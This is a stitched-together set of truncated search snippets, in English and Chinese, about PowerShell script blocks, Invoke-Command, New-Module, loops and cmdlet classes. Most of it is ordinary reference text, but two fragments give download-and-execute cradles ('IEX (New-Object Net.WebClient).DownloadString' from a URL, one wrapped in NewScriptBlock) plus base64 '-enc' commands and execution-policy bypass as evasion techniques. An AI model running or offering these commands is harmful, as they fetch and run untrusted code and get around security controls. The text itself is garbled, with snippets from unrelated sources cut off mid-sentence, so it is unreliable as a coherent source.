Execute a PowerShell Command in a session PowerShell -Command "Get-EventLog -LogName security" # Run a script block in a session PowerShell -Command {Get-EventLog -LogName security} # An alternate way to run a command in a new session PowerShell -Command "& {Get-EventLog -LogName secur...
陣列有一個 Where() 方法,您可以使用該方法指定篩選的 scriptblock。PowerShell 複製 $data.Where({$_.FirstName -eq 'Kevin'}) 此功能已在PowerShell 4.0中新增。更新迴圈中的物件使用實值型別時,更新陣列的唯一方法是使用 for 循環,因為我們必須知道索引才能取代值。 我們有更多的物件選項,因為它們是參考...
5.1 NewScriptBlock 通过$ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")的方式创建脚本块。 代码语言:javascript 代码运行次数:0 运行 AI代码解释 .($ExecutionContext.InvokeCommand.NewScriptBlock('IEX (New-Object Net.WebClient).("DownloadString").Invoke("http://127.0.0.1:8899/qiye.txt")')) 5.2...
脚本块是 Microsoft .NET Framework 类型的System.Management.Automation.ScriptBlock实例。 命令可以具有脚本块参数值。 例如, Invoke-Command cmdlet 具有采用 ScriptBlock 脚本块值的参数,如以下示例所示: PowerShell 复制 Invoke-Command -ScriptBlock { Get-Process } Output 复制 Handles NPM(K) PM(K) WS(...
NAME New-Module SYNOPSIS Creates a new dynamic module that exists only in memory. SYNTAX New-Module [-Name] <String> [-ScriptBlock] <ScriptBlock> [-ArgumentList <Object[]>] [-AsCustomObject] [-Cmdlet <String[]>] [-Function <String[]>] [-ReturnResult] [<CommonParameters>] DESCRIPTION ...
The do keyword works with the while keyword or the until keyword to run the statements in a script block, subject to a condition. Unlike the related while loop, the script block in a do loop always runs at least once. A Do-While loop is a variety of the while loop. In a Do-While...
standard problem. We often call these elegant solutions. And then, there are the things that we sometimes discover that mighg have been around for a long time, and maybe we forgot about them, or we simply overlooked them. One of those things is using a script block with theGroup-Object...
示例:powershell.exe -command “iex(New-Object Net.WebClient).DownloadString(‘http://[REMOVED]/myScript.ps1’)” 3、使用EncodedCommand参数执行单个Base64编码的命令。这将从执行策略排除命令。 示例:powershell.exe -enc [ENCODED COMMAND] 4、使用执行策略指令并传递“Bypass ”或“Unrestricted ”作为论据。
$url = "https://contoso.com" $myscript = "get-spsite $url" $sb = [scriptblock]::Create($myscript) Invoke-Command $sess -ScriptBlock $sb 您可以通过您的桌面在同一服务器或不同服务器上,使用 Windows PowerShell Invoke-Command cmdlet 与多个会话通信。利用该 cmdlet,您可以同时启动随后并行运行...
PSCmdlet also provides access to the Windows PowerShell logging features, though this comes at the price of being a bit bigger and leaves you dependent upon the Windows PowerShell runtime.Cmdlets derived from the Cmdlet class offer only the fewest dependencies on the Windows PowerShell runtime....